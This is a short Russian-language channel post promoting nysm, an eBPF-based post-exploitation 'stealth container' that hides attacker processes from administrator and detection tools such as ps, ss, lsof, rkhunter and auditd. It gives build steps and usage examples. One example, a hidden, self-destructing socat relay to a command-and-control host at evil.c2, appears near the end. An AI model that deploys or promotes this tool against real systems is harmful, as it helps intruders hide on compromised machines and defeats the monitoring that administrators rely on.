🔴 nysm
Скрытый контейнер для постэксплуатации.
#eBPF #offensive

С ростом популярности offensive инструментов, основанных на eBPF, начиная от кражи учетных данных и заканчивая руткитами, скрывающими свой собственный PID, авторам пришел в голову вопрос: Можно ли сделать eBPF невидимым в глазах админа? В результате они создали nysm, eBPF stealth контейнер, предназначенный для того, чтобы сделать инструменты атакующих незаметными для системных администраторов, не только скрывая eBPF, но и многое другое:
- bpftool
- bpflist-bpfcc
- ps
- top
- sockstat
- ss
- rkhunter
- chkrootkit
- lsof
- auditd
- и другое

Как это работает?

Поскольку eBPF не может перезаписывать возвращаемые значения или адреса ядра, наша цель - найти вызов самого низкого уровня, взаимодействующий с адресом пользовательского пространства, чтобы перезаписать его значение и скрыть нужные объекты. Чтобы отличить события nysm от других, все выполняется в отдельном пространстве имен PID.

Установка:

sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y; git clone https://github.com/eeriedusk/nysm; cd nysm; bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h; make

Использование:

Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.

  -d, --detach        Run COMMAND in background
  -r, --rm                Self destruct after execution
  -v, --verbose      Produce verbose output
  -h, --help             Display this help
  --usage                Display a short usage message

# Примеры
./nysm bash
./nysm -r ssh user@domain
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443

👉 https://github.com/eeriedusk/nysm

🌚 @poxek